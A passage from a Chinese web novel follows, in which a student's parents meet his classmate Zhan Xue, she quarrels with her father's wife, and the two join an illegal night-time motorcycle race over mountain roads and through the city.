他盯着马辉说:“缉毒支队那边有美茵的案子要办,警力不够。你是专案组的成员,我才给你一个联防队。结果你干了什么?带着十几号人混吃等死?你要这样,趁早给我下来。” 听到这话,马辉猛地抬起头。 “阿爷——”他差点脱口而出,硬生生刹住了,“付局,你说真的?真的让我去抓人?” 付祥民说:“要是人赃并获,抓人有什么不行?马辉,你是警察,碰到犯罪分子你不抓,留着他们过年?这问题我真不知道你怎么问出来的。” 他转向严所长:“小严,你刚才说得对——年轻干警的思想教育一定要跟上,要大抓狠抓,打破畏难心理,树立敢打大仗、敢打硬仗的作风。” “是是是,付局说得深刻。”严所长连连点头。 他看了一眼马辉那张瞬间亮起来的脸,心里一阵翻腾——这小子到处胡闹的根儿,总算是找到了,原来在总局这儿呢。 行了。 螺塘派出所,马上又要不安生了。 ... 韩德富和赵秀荣从公交车上下来,走进宁海大学的校门,一时间有些发懵。 校区太大了。一条宽阔的大道笔直地伸进去,两边种着梧桐树,树冠连成一片,看不到尽头。暑假里,校园安安静静的,偶尔有一两个人走过,也是匆匆忙忙的,不知道往哪里去。 他们这次来,是为了找儿子。 自从那天在电视上看见韩学涛领奖的画面,消息就像长了翅膀似的,在他们那个圈子里传开了。鞋厂、培训班、老客户,见了他们俩就问——“你家学涛上电视啦?”“你们儿子真有出息啊!” 连鞋厂的厂长和工会主席都专程跑了一趟家里,手里夹着烟,脸上堆着笑,一个劲儿地恭喜。也是在厂长嘴里,他们才搞清楚——儿子得的那个奖品,不是什么普通笔记本,是“笔记本电脑”。厂长说,那玩意儿贵得很,一台要六万多块。 六万多。 老两口当时就吓懵了。他们两口子没日没夜干了一年,才攒下三万来块钱。儿子学着习,随手得了个奖,就顶上他们一年收入的两倍。 这不清客,说不过去了。但请客总得问问儿子的意思。于是他们决定来学校找儿子。 出发前,韩德富往寝室打了好几个电话,一直没人接。赵秀荣说,学涛讲他暑假跟着教授做项目,肯定不在寝室,干脆过去一趟,反正也不远。 现在他们站在校门口,望着这片偌大的校园,忽然意识到一个问题——他们根本不知道韩学涛的寝室在哪儿。当初儿子来报到,是自己一个人来的,他们俩都没送。 “你说你这个当爹的,”赵秀荣先开了口,语气里带着埋怨,“儿子眼看大一都要毕业了,你连他寝室都没来过一趟。你这爹是怎么当的?对你那些徒弟,都比对儿子上心。” 韩德富不服气,脸一扭:“我好歹来给儿子送过东西。你呢?当妈的整天在外面不着家。有几次我回到家,发现学涛回来过,结果家里饭菜都没有,厨房空空荡荡的——你还说我?” 赵秀荣嘴张了张,想反驳,话到嘴边又咽了回去。 两个人越说越愧疚,越说越觉得这对父母当得不合格。最后谁也不吭声了,一前一后走到路边的花坛沿子上坐下,看着地上被太阳晒得发白的石板,各自叹了口气。 坐了一会儿,韩德富闷闷地开了口:“我不是想多赚点钱,省得家里再碰上什么事,像上次一样,咱俩一分钱都拿不出来。” 赵秀荣听了,声音也低下来:“我这辈子就是生了个好儿子。上大学没指望上咱们,等他以后找对象要结婚,我们可不能给儿子拖后腿。咱家没权没势的,到时候还不得多拿出点钱来?不然让亲家瞧不起。” 韩德富点了点头:“是这话。” 又坐了一会儿,韩德富站起身:“走吧,找个人问问。” 校园里安安静静的,放暑假了,学生不多。他们拦了两三个人,都没问出地质系新生寝室在哪儿。 走到一个自行车棚旁边的时候,赵秀荣忽然停住了脚步。 车棚那头走过来一个女孩。浅绿色的衬衣,牛仔裤,头发扎成一个低马尾,皮肤很白,五官精致得像是画出来的。她走在梧桐树的影子底下,步子不快不慢,像在散步,又像要去什么地方。 赵秀荣的目光一下子就被她吸住了。 “我去问问那个女生。”她说着就要往那边走。 韩德富一把拉住她:“有啥用?问了好几个男生都不知道,你问一个女生能知道?” 赵秀荣甩开他的手,白了他一眼:“那可不一定。我儿子学习好,长得也好——说不定女生就知道。” 第206章 意外碰面 展雪也不知道自己今天为什么会来学校。 放假这些天,她本该在家多陪陪母亲。展慧兰嘴上不说,但每次她换鞋出门的时候,那双眼睛里的不舍是藏不住的。 只是母女俩待在一起,话题总是绕不开那些让她烦闷的事,待得越久越觉得喘不上气。就像一只放在炉子上的水壶,底下的火一直烧着,五脏六腑都在沸腾,总有一股气憋在胸口,随时要喷出来。 所以她找了个借口出了门。也没想好要去哪里,骑着自行车在街上转了两圈,路过宁海大学的时候,鬼使神差地拐了进来。 校园里安安静静的,梧桐树的影子铺了一地。她推着车往前走,心想不知道图书馆还开着没有。正想着,一个中年妇女迎面走过来,拦住了她。 “同学,不好意思问一下——”妇女衣着干净,头发整齐,看着十分面善,“你知道地质系大一男生的寝室在什么地方吗?” 展雪心里一跳。 地质系,大一男生。 她下意识地站直了一些,把包换到另一只手上:“我知道。不过现在放暑假了,大部分学生都离校了,宿舍不一定有人在。阿姨,您是来找人的?” 赵秀荣眼睛亮了:“对,我儿子在学校,说要做什么项目,我俩不放心,来看看他。” 展雪有些预感地问:“地质系那边大一的,我也认识几个。我以前是学生会的。阿姨,您儿子叫什么?” “韩学涛。” 展雪收紧了包带。 她看着眼前这位妇女——眉眼轮廓,说话语调,笑起来嘴角上扬的弧度,都像极了韩学涛。 “阿姨您好,”她声音里藏着一丝紧张,“我认识韩学涛。我们俩算是……朋友。我叫展雪,也是大一的,经管系的。” 话音刚落,她就后悔了——说什么“朋友”?说“同学”不行吗?万一他妈妈误会了怎么办? 赵秀荣笑得合不拢嘴,上下打量这姑娘,越看越喜欢:“展雪?这名字起得好。我们刚才问了好几个人,都说不知道,幸亏碰见你。” 她转过身朝后面招手:“老韩!过来吧,问着了!” 展雪望过去——一个中年男人站在花坛边上,听到招呼,大步往这边走。 韩学涛的爸爸也来了! 展雪脑子嗡了一下,把包带换到另一只肩上,又觉得别扭,再换回来。手心开始冒汗——自己这是怎么了?好好的假期,为什么非要跑到学校来瞎转悠? 韩德富走过来,目光在她身上停了一瞬:“这位同学,你知道韩学涛的寝室在哪儿?” “嗯,我还去过两次呢。”展雪想都没想,话就溜了出来。 话一出口,她就看见韩德富和赵秀荣脸上闪过一丝意外。心里一慌——怎么把“去过男生寝室”这种事说出来了? 耳根一下子烫了。她赶紧补了:“我跟韩学涛一起主持过新生文艺汇演,我俩是搭档!” 说完,她在心里悄悄舒了一口气:“叔叔,阿姨,我带你们过去吧。” 她推着自行车走在前面。赵秀荣跟在后面,看着这姑娘的背影,越看越顺眼——头发扎得利索,走路姿态端正,不像有些小姑娘,走起路来歪歪扭扭的。 到了宿舍楼,寝室大门锁着。 不过这难不倒展雪——她以前是学生会的,在各种文艺汇演上出过风头。她敲开宿管的门,押了学生证,轻松拿到了韩学涛寝室的钥匙。 打开门,展雪先把韩德富和赵秀荣让了进去。 她自己跟在后头,搬了两把凳子过来,又很自然地指了指靠窗那张下铺:“叔叔阿姨,这就是韩学涛的床。” 两口子正四处打量的时候,展雪已经走到桌子前,弯腰拎起一个热水瓶,轻轻摇了摇——有水。她接着拿了三个杯子,挨个用热水涮了涮,倒了水,端到赵秀荣和韩德富面前:“叔叔,阿姨,喝口水吧,今天太热了。” 赵秀荣接过杯子,低头看了一眼。 展雪拎的那个热水瓶,正是韩学涛上大学之前,她和老韩在百货大楼里挑的。 两口子不约而同地对视了一眼,谁都没说话,可再看展雪的眼神,已经跟刚才不大一样了。 …… 韩学涛走到寝室门口,发现门开着。 他脚步顿了一下。楚强跟在后头差点撞上来,小白从最后面探出脑袋,三个人同时愣住了。 寝室里坐着三个人。赵秀荣和展雪并排坐在他的床上,韩德富坐在凳子上,桌上的水杯空了两轮,热水瓶的盖子还敞着口。 这是什么情况? 韩学涛站在门口,脑子里转了好几圈——自己父母怎么来了?怎么跟展雪碰上的?还坐在自己寝室里聊上了?看三人的表情热络得很,赵秀荣脸上的笑纹还没收干净,展雪坐在她旁边,两条腿并拢,手搭在膝盖上,乖巧得简直不像她。 展雪抬头看见韩学涛,心里微微一紧。但紧接着,她看见了他的表情——没有惯常的从容笃定,没有那种淡然无所谓的浅笑。眉头似皱非皱,嘴巴半张不张,眼神里带着一种少见的错愕和窘迫。 展雪的嘴角一弯,差点没笑出声来。 跟他认识这么久,从没见过这副表情。这个表情太好笑了,展雪感觉这几天在家里的烦闷和压抑,一下子全散了。 而韩学涛回过神来,走进寝室:“妈,爸,你们怎么来了?” “还不是因为你!”韩德富往旁边挪了挪,“你上了电视,我们不得过来问问?” 展雪从床上站起来,往旁边让了让,双手背在身后,安安静静地站着,嘴角还挂着那点笑意。 赵秀荣把事情从头说了一遍,然后拉住展雪的手,“多亏碰见展雪,要不然我们这会儿还在校园里瞎转悠呢。” 韩学涛看了展雪一眼。展雪微微偏了一下头,嘴角的笑意又深了一层。 韩学涛收回目光,侧身指了指身后:“妈,这是我同学,楚强,小白。跟我一个寝室的,暑假一起在学校做项目。” 楚强:“叔叔好,阿姨好。” 小白乖笑,“叔叔阿姨好。” 赵秀荣上下打量这两个小伙子,连连点头:“来,都坐,都坐。” “阿姨,我们就不坐了。”小白说,“我们马上就得出去,有些数据还没整理完,今天晚上要交。” 楚强那张扑克脸硬挤出一个笑容,附和着点头:“对,挺急的。叔叔阿姨,你们聊。” 韩德富说:“吃了饭再走。” “不了不了,真有事。”小白已经往门口退,楚强跟在他后面,两个人几乎是溜出去的。展雪和韩学涛父母在一起的饭局,他们饿死也不会参合进去的。 韩学涛看着门口,嘴角动了一下。 展雪理了理衣角,语气自然地说:“叔叔阿姨,时间不早了,我也该回去了——” “不行不行。”赵秀荣一把拉住她的手,“你耽误了一下午,陪了我们这么久,连口饭都不吃就走?那不行。” 韩学涛看了母亲一眼:“妈,哪有你这么硬留的?人家家里晚上说不定有事。” “没事呀。”展雪说,“我是怕打扰你们。” “不打扰!”赵秀荣转头看着韩学涛,“你这孩子,人家展雪陪了我们一下午,你倒好,一回来就赶人家走?哪有你这么说话的。” 韩学涛把嘴闭上了。 他看了一眼展雪。展雪正看着他,笑意盈盈的,一副很乐意看他吃瘪的样子。 第207章 难走旧时路 路边,韩学涛正要伸手拦出租车,展雪拉住了他的胳膊:“别打车了,我自行车还在学校呢。你陪我回去取一趟,我自己骑回去就行。” 刚吃完晚饭,韩德富和赵秀荣已经坐公交走了。临走时赵秀荣叮嘱了好几遍,一定要把展雪安全送到家。 韩学涛抬头看了看天色——太阳刚落下去,天边还剩一抹暗红。 “你不是一向骑摩托车的吗?今天怎么改自行车了?” “在长辈面前装装淑女不行吗?”展雪说,“我说的不是你爸你妈,是我妈。” 韩学涛看了她一眼:“你本身就是淑女,用不着装。” 展雪愣了一下,偏过头看他,像重新打量一个人似的:“我以前怎么没看出来,你嘴巴还挺会哄人的。” 韩学涛笑了笑:“你自行车能带人吗?我送你回去。” “行啊。” 两人从学校车棚里推出自行车。韩学涛跨上去,脚撑一踢,车身晃了一下。展雪扶着车后座坐上去,右手攥着座垫下边那根弹簧,左手挎着包,身体微微侧着,没有靠太近。 韩学涛蹬了一脚,车子滑出去,从校门拐上了马路。 八月初的宁海,傍晚是一天里最舒坦的时候。太阳下去了,地面上还留着白天晒出来的热气,但风已经从江面上吹过来,带着水汽,裹住骑车人的胳膊和脸。 路两边摆出不少摊子——卖西瓜的,卖凉皮的,炒螺蛳的。锅铲碰着铁锅叮叮当当响,香气从路边飘过来,混着汽车尾气和法国梧桐叶子被晒了一整天后蒸出来的苦味儿。一个穿背心的老头坐在巷口摇蒲扇,收音机里放着黄梅戏,音量开得很大,高音都劈了,他也不调。几个小孩蹲在路沿上拍画片,其中一个赢了一把,站起来得意扬扬地拍着膝盖上的灰,笑得露出缺了一颗的门牙。 展雪坐在后座,衬衣下摆被风吹起来,她用包压住,饶有滋味地看着路边的一切。 韩学涛蹬得不快不慢,从闹市穿过去,拐进一条窄街。 骑了大约二十分钟,路渐渐宽了,车也少了。两边的建筑变了样子,从一排排商铺变成了一堵堵高墙。墙头爬满藤蔓,墙内隐约看得见老式洋房的尖顶和飞檐。路灯变得稀了,间隔很远才立一根,光线昏黄,照不了多远。 展雪说:“快到了。这是公馆街。” 韩学涛放慢速度,四下看了看。 公馆街——早年间这里全是公馆,后来解放了,变成地委办公的地方,再后来地委搬走,又给了民主党派。九十年后,民主党派也搬走了,港商把这片地买下来重修,做成宁海最高端的别墅区,住什么人,没人说得清,反正非富即贵。 又骑了一会儿,前方出现一个岔路口。 路口形状像一棵树分出的两个枝丫:左边一条路亮堂堂的,远远能看见几栋高楼和银行招牌;右边一条路黑黢黢的,路灯隔得很远才有一盏,光线还被树冠遮了大半,只剩几块碎光落在地上,像被人丢掉的碎玻璃。 展雪说:“左边那条路一直通到博物馆和银行,那边亮化做得好。” 韩学涛问:“右边呢?” 展雪说:“我家在右边。” 韩学涛瞥了一眼那条黑路,脚下用力一蹬:“路灯这么少,你家这边市政不行啊。”话音未落,车轮已经碾进了黑暗。 他仔细盯着路面。柏油路不知什么时候变成了石板,车轮碾上去,声音从粗粝变得细碎沉闷。两侧的围墙渐渐高起来,墙头拉着铁丝网,墙内隐约露出修剪整齐的灌木。围墙后面偶尔露出一栋小楼的轮廓,窗户亮着灯,但窗帘拉得严严实实,什么都看不见。周围安静得有些过分。 碾过一块翘起的石板时,车身一颠。展雪的手从座垫下松开,搭上了他的腰侧,指尖先触到衣料,然后慢慢贴实。她的手臂上有从树冠缝隙漏下来的光,亮一下,又暗了。 韩学涛把展雪送到一堵院墙的后门。 门不大,漆面斑驳,门框上钉着一盏感应灯。 展雪接过自行车把,推开那扇小铁门,门轴发出一声细长的吱呀。她侧身进去,回头对韩学涛说,“自行车你骑走吧。” “不用。”韩学涛站在门外,“我出去打车。” 展雪点了点头,推着自行车消失在门洞里的黑暗中。 铁门在她身后慢慢合上,门锁落下,咔嗒一声。 韩学涛转身往回走,边走边打量着四周—— 这就是来胜平住的地方?闹中取静,却压抑得很,高墙、铁丝、紧闭的小门,像座缩小的堡垒。一个人的住处就是内心的投射,来胜平心里藏着多少事,看这堵墙就知道。 他想起刚才展雪说“我家在右边”时那个语气,心里忍不住一叹。一个姓来,一个姓展,女儿不跟父亲姓,这里面不可能没有故事。不过人不能选择父母,只能尽量把握未来。 而他和来胜平走的是两条不同的路,上辈子没走过这条路,这辈子也不会这么走。 他收回思绪,加快了脚步。 另一边,展雪推着自行车穿过一条窄长的过道,把车靠在墙边,轻手轻脚地往母亲房间走。 这个点母亲应该已经睡了,她不想吵醒她。那个姓崔的女人房间灯还亮着——这跟她没关系,只要不碰见就行。她放轻脚步,尽量不发出声音。 “站住。” 一声厉喝从客厅方向传来。 展雪站住了。 崔改凤从客厅走出来,穿着一件暗红色真丝睡袍,头发盘在脑后,脸上敷着面膜,只露出两只眼睛。那两只眼睛正盯着展雪,刺辣辣的。 “几点了?这么晚跑哪儿去了?” 展雪没有回答。 崔改凤扯掉面膜,露出满是皱纹的脸。她比来胜平大两岁,今年该有五十了,保养得并不好,而且眉眼之间那股刻薄劲儿,怎么也盖不住。 她上下打量着展雪,从头发扫到鞋尖,嘴角往下撇了撇。 “跟你妈一个德行,不守规矩。这个家是旅馆?想几点回就几点回?你们母女两个,除了花来家的钱,还能干什么?吃穿用度,哪样不是来家的?读书、治病,哪分钱不是来家出的?真当自己是大小姐了?” 展雪听完,冷冷地说:“我和我妈随时可以走。问题是,你说了算吗?” 崔改凤被噎住了,嘴唇哆嗦了两下:“想一走了之?想得倒美。你妈那个病,花了来家多少钱你知不知道?肾源多少钱?手术多少钱?你读大学,吃穿用度,哪样不要钱?你们母女俩把欠来家的钱交出来,随时可以滚。” 展雪看着她,眼睛里没有愤怒,没有委屈,只有一种让崔改凤浑身不自在的平静。 “钱还不上,我还他一双手行不行?” 崔改凤愣住了。 展雪往前走了半步:“你去把来胜平叫过来。我是他生的,跟你没关系。他同意,我现在就把双手砍下来还他,然后我跟我妈搬走。” 崔改凤脸色变了:“我是长辈,说你两句,你跟我发什么疯?” “我没疯。”展雪说,“我只是在跟你算账。你说我花了来家的钱,那我就还。你说我还不起,那我就拿手还。你要是觉得还不够——你想要什么,你说。” “你、你别拿这套吓唬我。你以为你是谁?早晚也是卖出去的货!我来家——” “来家什么?”展雪打断她,“来家的钱是来胜平赚的,不是你赚的。你跟他说,让他来找我。他要我还不清,我这条命也还给他。跟他说清楚,我是他女儿,不是你的下人。以后这个家,我想几点回就几点回。你要是看不惯,去找来胜平说,别在我面前喊。” 她说完,没有再看崔改凤一眼,转身往外走。 “你去哪儿!”崔改凤在身后喊。 展雪没有回答,步子很快,穿过走廊,拉开那扇小铁门,走了出去,又关上。 铁门在身后合上,发出沉闷的响声。她站在门外,夜风吹过来,带着八月特有的潮湿闷热。昏黄的感应灯,把她一个人的影子投在墙上,细细长长的。 第208章 敢不敢上车? 韩学涛走出石板路,在明暗交错的岔路口停下。他往另一头瞟了一眼,打算过去打车。 就在这时,身后那条黑沉沉的路尽头,忽然亮起一束光。那光像是从夜的缝隙里硬挤出来的——先是一点,接着猛地往前一探,拉成一道雪白的光柱,直直劈开黑暗。 韩学涛被光晃了一下,眯起眼偏开头。 发动机的轰鸣从远处滚过来。紧接着,冲出一辆摩托车。骑手戴着黑色头盔,长发从头盔下沿向后飘,在他眼前往后一扬。浅绿色衬衣扎在牛仔裤腰里,裤线笔直。 摩托车在他面前刹住,后轮微微一滑,稳稳停住。 展雪摘下头盔,露出一张冷峻的脸。 韩学涛盯着她看了两秒:“你不是回去了吗?” “回了。”她顿了顿,“又出来了。” “干嘛?” 展雪没回答,反而问他:“你怎么还在这儿?” “不想走回头路。”韩学涛朝左边那条亮堂的路扬了扬下巴,“打算从那边出去打车。” 展雪哼了一声:“磨叽。” 韩学涛把手指放进嘴里,吹了声口哨,朝她一仰头:“小妞,装酷啊。” 展雪笑了一下,把另一个头盔朝他扔过来:“敢不敢上车?”语气里带着点挑衅。 韩学涛没说话。他把头盔往头上一套,扣好系带,跨上后座:“有什么不敢的?正好省钱了,送我回学校。” “上了我的车,还由得了你?”展雪笑着拧动钥匙,发动机发出一声低吼。她回头看了他一眼,“坐稳了。” 车身猛地蹿了出去。 韩学涛身体往后一仰,赶紧抓住后座扶手。 风从四面八方灌进来——灌进头盔通风口,灌进领口,把T恤吹得鼓起来。展雪那件浅绿色衬衣被风吹得紧贴在身上,勾勒出肩胛骨的轮廓,衬衣下摆从裤腰里扯出来一些,在风中猎猎作响。 几个弯之后,韩学涛就发现,展雪骑车很野。 换挡时机抓得准,入弯前降档减速,出弯时油门给得也狠,车身倾斜的角度比一般人敢压得大。韩学涛觉得自己像一片叶子贴在一颗子弹上,被带着往前飞。每次压弯,膝盖几乎擦着地面,下一秒又被离心力拽回来。 这种失控边缘的平衡感,让他想起从前——曾经他开得这么快,还是因为后面有子弹追。可现在他生活安稳,实在没有亡命逃跑的必要。 于是,他直接抱住了展雪的腰—— 跟刚才展雪一手搭在他腰上不同,现在他是实打实地两臂环抱。 展雪低头看了一眼他的胳膊,转过头问:“你干嘛?” “你从家跑出来,就是想摔死我?”韩学涛的声音从头盔里传出来,“要死一起死,谁也别想跑。” 这话,让展雪心里猛地一颤,“好啊,那就一起死,谁怕谁?” 车速表的指针继续往上爬。韩学涛看着两旁的路灯一根接一根往后退。 “喂,”韩学涛说,“我开玩笑的。要不我俩换换,我来开?” 展雪没回头,声音顺着风传过来:“抱好,我要上山了。” 上山? 韩学涛还没反应过来,摩托车已经拐进一条岔路。 路灯没了。车灯照亮前方一小段柏油路面,两侧变成黑黢黢的山体和树木轮廓。路面越来越窄,弯道一个接一个。 展雪入弯前降档补油,发动机发出浑厚的轰鸣,车身贴着弯心切过去,出弯时车身扶正,油门又给到底。她的动作很干脆,每一个操作都早于车辆姿态变化之前完成,像是能预判路的走向。 韩学涛收紧了手臂。 武丞山,在宁海郊区,他从没来过。山不算高,但弯多路窄,从山脚到山顶全是连续发卡弯。 半山腰忽然亮了起来。转过一个弯道,视野骤然开阔,一片人工开凿出的平地从山体里掏了出来。平地不小,能停下三四十辆车,此刻停了二十多辆。 摩托车尾灯一闪一闪地跳着红光,发动机的声音此起彼伏,有气无力的怠速声,突然轰一把油的暴烈声响,低沉的轰鸣撞在对面的山壁上,又折返回来,在群山间回荡。 韩学涛扫了一眼那些车:黑条本田,整流罩在灯光下反着光;国产南方125,红白涂装,号称国产战神,踹三十脚才能着火,个体户、鱼贩子用它拉货;还有雅马哈、铃木、川崎,各种排量、各种年份的车混在一起,像一场没有主办方的展览。 展雪关掉发动机,摘下头盔,甩了一下头发。 几个人围了过来。打头的光头最显眼,黑色背心,胳膊上纹着一条青龙,从肩膀缠到手腕。 他朝展雪咧嘴一笑:“雪儿,好久不见。” “飞哥。”展雪点了点头。 旁边几个女孩凑过来,紧身T恤,热裤刚包住大腿根。一个雀斑脸女孩拉住展雪的胳膊:“雪儿,好久没见你了,最近干嘛去了?” “在家呢。”展雪笑了笑。 “这位是谁啊?”雀斑女孩看向展雪身后的韩学涛,眨了眨眼,“男朋友?” 展雪没接话,低头解头盔系带。 韩学涛摘下头盔,头发被压得乱七八糟,他随手扒拉了两下。光头大飞扫了他一眼,目光在他脸上停了不到一秒就移开了。 “你来晚了,”大飞对展雪说,“大家都跑完了。今天几个跑车的都在这儿,山脚到山顶那圈,麻花跑了七分四十三秒。” 展雪说:“找几个人再来一圈?” 大飞摇了摇头:“没人跟你跑。钱多了烧的?有钱去搂着小妹妹开房不好么。” 展雪说:“别扫兴。要不二加一也行。” 大飞还是摇头:“我们最近也穷。” “不赌钱,光跑。”展雪说。 “闲得蛋疼啊。”大飞转过身。 这时,人群里响起一个慢悠悠的声音:“雪儿,你要跑也不是不行。” 说话的人从摩托车旁边站起来——瘦高个,头发留到肩膀,在脑后扎了个小揪揪。 展雪问:“麻花,怎么说?” “可以跑。但是你只能在后面当挡泥板。”麻花的目光落在韩学涛身上,“让你后面那个小白脸来开。你要是愿意,我帮你攒个局。” 展雪一愣,扭头看向韩学涛。 韩学涛指着自己,挑了挑眉:“你说……让我开?” 第209章 挡泥板 麻花上下打量韩学涛一眼,嘴角一扯。 “小白脸儿,会开车吗?”他拉过一个穿短裤的妹子,搂住腰,“有本事让女人给你当挡泥板,你一个大男人坐后头吸灰?”他拍了拍妹子的腿,“看到没?这才叫挡泥板。你他妈把大腿也露出来呗?” 几个围观的男女笑成一片。 展雪靠在摩托车旁,偏头看着韩学涛,眼睛里带着点笑意。 韩学涛瞪了她一眼,转向麻花:“麻花哥?准备攒多大的局?” 几个车手搂着妹子围过来。麻花伸出两根手指:“你要是能让雪儿给你当挡泥板,我给你攒个两千的。” “少了点。”韩学涛说,“提不起兴趣。” 麻花眯起眼睛:“挺能装啊。你混哪的?” “宁海大学。” 周围安静了一瞬。几个人面色古怪。这种感觉就像一群蹲在土坡上比谁尿得远的野孩子,忽然有人说“我是三好学生”。 展雪笑出了声。 麻花咬了咬牙:“行,冲你报的这个名头,老子给你加一千。” 展雪从车上下来,把钥匙递给韩学涛:“你去前面。”自己绕到后座跨上去,两只手撑在身后。 麻花冲周围喊了一嗓子:“雪儿做挡泥板!这局有谁跑?” “带我一个!” “跑呗,赶上了就来一个。” “算我一个。妈的,我不会被大学生超了吧?以后没脸上山了。” 几个人嘻嘻哈哈,局很快就攒起来。大飞拿着小本子走过来:“都把钱交过来。你们这趟二加一能回来几个我不知道,钱提前交代清楚。” 交钱的人一个接一个。韩学涛掏出五百块递给大飞:“三百算份子,两百算雪儿请客。” 大飞点清钱,清了清嗓子:“听好了。武丞山脚出发,上山到顶,从后山下去,接七公里国道,进市区绕一段,再从东边回山脚。全程大概四十公里。二加一就是两段山路加一段市区。都听明白没有?” “明白了。” 十辆摩托车陆续驶到山脚发车点,排成两排。每辆车后面都坐着一个妹子。她们的目光不时落在展雪身上——这是她们第一次看到展雪坐在别人后座上。 韩学涛跨在车上,偏过头:“帮我指路。我不熟你们的路线。” 展雪凑近一些,头盔几乎贴在一起:“上山第一个弯很急,入弯前降到二档。后山下坡有三个连续发卡弯,路面有砂石。市区过博物馆有电狗,那边常有白帽夜查。” 韩学涛点了点头,目光落向前方那条被车灯照亮的直路。 发车旗落下。 十辆摩托车同时弹出去,排气管爆出一片轰鸣,在夜色中炸开。韩学涛拧动油门,铃木GSX-R750从车阵中窜出,车身微微一晃,稳住了。 展雪的这台车铃木,750cc排量,四缸水冷,1996年款,在当年算得上狠货。车架刚性够,悬挂偏硬,低扭输出暴躁,不是新手能驾驭的东西。韩学涛以前开过两次,但没飙过这么快,试了一下油门行程,心里有了数。 展雪从后面贴上来,两只手臂环住他的腰,扣紧。她整个人贴在他后背上,摩托车头盔挨着他的头盔,面罩几乎碰在一起。风从正面撞过来,她被压在韩学涛背上,浅绿色衬衣鼓满风,像一面撑开的帆。 “第一个弯,右转,急。”展雪的声音从头盔里传出来,很近,像是贴在耳朵上说话。 韩学涛没有回答。车速已经拉到八十,山脚下的直路很快到头,路面开始往右偏。他没有减速,车身倾斜,膝盖几乎擦着地面,入弯角度刁钻,切弯心的时候车身离路肩不到一掌距离。出弯时油门到底,车身扶正,后轮轻微打滑了一下,抓回来,往前蹿出去。 展雪的身体在转弯时被离心力往外甩,她的手臂收紧,把自己固定在韩学涛背上。 很快展雪注意到一件事——韩学涛骑车的方式跟她不一样。她的风格是流畅,入弯出弯像画一条平滑曲线,每一个动作都提前想好,没有多余操作。 韩学涛不一样,他的动作不花哨,甚至有点粗糙,入弯前刹车给得晚,出弯时油门给得早,每个动作都卡在极限边缘。目的很明确——更快,更狠,更不留余地。 展雪不知道,韩学涛的这种技术不是练出来的,是跑出来的。是那种后面有车在追、有枪在响、慢一秒就可能死的情况下,被逼出来的东西。 上山路段弯道密集,光线被树冠遮了大半,只剩下车灯照亮前方一小段柏油路面。前面三辆车排成一条线,占据线路。韩学涛没有跟在后面等机会,入弯前猛补一脚油,车身插进内线,贴着前车的后轮切进去。 前车手从后视镜里看到车灯逼近,下意识往右让了半尺,韩学涛已经从他左边超过去了。展雪的头盔在他肩窝处蹭了一下,她听见前车手骂了一声,声音被风吹散。 第二辆,第三辆。上山路段还没跑完,韩学涛已经跟在麻花后面,排第二。 麻花那辆本田改装过,动力比原厂大出一截,直线上不输,但山路不是比谁马力大。韩学涛跟了他三个弯,摸清了线路。麻花每个弯的走线都很固定,入弯点、弯心、出弯点,几乎一模一样,像火车跑在轨道上。稳定,但也死板。 韩学涛没有跟在后面学他。他在一个左弯前故意放慢半拍,拉开距离,入弯时走了一条完全不同的线——从外道切进去,弯心比麻花晚半秒,出弯时速度比他快。 两车并排的那一瞬间,麻花偏头看了他一眼。韩学涛没看他,油门已经拧到底,车身超过麻花半个车头,一个车身,两个车身。后视镜里,麻花的车灯越来越小。 后山的下坡路段,路面变窄,没有路灯,车灯照亮的路面上能看到细碎的砂石。展雪的声音从头盔里传出来:“连续三个发卡弯,路面有砂石,别压太狠。” 韩学涛减了一档,发动机转速拉高,排气声从低沉变得尖厉。入弯前轻点刹车,车身倾斜,后轮在砂石上滑了一下,他反打方向,车身摆正,继续往前。展雪的手臂收紧了一下,又松开了。 第210章 以后少来 下山之后是七公里国道。 路面宽阔,视野开阔,两边是大片的农田和零星的村庄。远处,宁海市区的灯光模糊地亮着,像一层薄雾浮在地平线上。 这种路,能跑极速。 GSX-R750下了山就像换了副脾气,比在山路上凶得多。发动机一过中高转速,爆发力直接把人摁进座椅里。韩学涛把油门拧到底,车速表的指针从一百二猛地甩到一百五,还在往上爬。风压大得像一堵墙压过来,他把身体伏低,展雪也跟着伏下来,整个人压在他背上。 前面有个收费站。过了收费站,就进市区了。 展雪刚要开口,韩学涛忽然收了油。他看见了那辆白色轿车——停在路边的阴影里,不仔细看根本发现不了。但他经过的瞬间,扫到了车顶上那个东西。 测速雷达。 “小心电狗!”展雪喊了一声。但她知道,他已经看见了。 车身几乎贴着中线在跑,离那辆白车最近的时候,不到两米。他听见车里有人喊了一声,声音隔着玻璃,闷闷的。后视镜里,车门打开了,一个人从副驾驶下来,站在路边朝他们吼了句什么。展雪的手臂猛地收紧了一下,又慢慢松开。 韩学涛没有加速,也没有减速,就那么不紧不慢地,从容地,消失在国道的拐弯处。 进入国道中段,路面变直,两边是一望无际的农田。韩学涛把车速维持在一百四左右,车灯切出去,照亮前方几百米的路面。远处有辆大货车,尾灯在夜色里像两只红色的眼睛。他减了一档,油门一拧,从左侧迅速超过去。车身经过大货车驾驶室的瞬间,他听见一声喇叭——又长又响,像在骂人。 他没有回头,车灯继续往前切。 “前面第二个路口右转,进市区。”展雪指了指前方。 市区边缘的路灯开始密起来,路面变宽。拐进建设路没多久,身后的警笛声就响了。 第一辆警车从解放路后方跟上来,警灯在车顶上旋转,红蓝相间的光扫过街道两边的建筑外墙。韩学涛从后视镜里看了一眼,没有减速。前面的路口又拐出一辆警车,亮着警灯,停在路边。一个穿反光背心的交警站在车旁,手里拿着对讲机,正在说什么。韩学涛经过的时候,那个交警抬头看了他一眼,接着就消失在后视镜里。 韩学涛拐进一条岔路。身后警笛声没有消失,反而越来越密。各路段的警车在对讲机里互相通报,整片水面都在动。摩托车的轰鸣声在这个路口响一下,在那个路口响一下,在五六个不同的地方同时炸开。每一辆车都在跑,每一辆车后面都跟着警笛。 韩学涛又在展雪的头盔上磕了一下,有点儿得意。这条线上不止他一个,麻花他们此时应该也进了市区。这帮混蛋的排气管一个比一个响,加起来就是一条流动的噪音源。这么多车集体挑衅电狗,想不惊动白帽子都难。 展雪的头盔贴着他的头盔,笑声闷在面罩里,肩膀微微在抖。 韩学涛从小路穿到江边,沿江堤路绕了半圈,从东边出了市区。江面上有船灯,在黑暗中缓慢移动。江风吹过来,带着水腥味。 出市区的那条直路上,他再次把车速拉起来。身后没有任何车灯。 武丞山脚下的直路出现在视野里,树影在两侧往后飞。他没有减速,冲过发车点,开始爬坡。 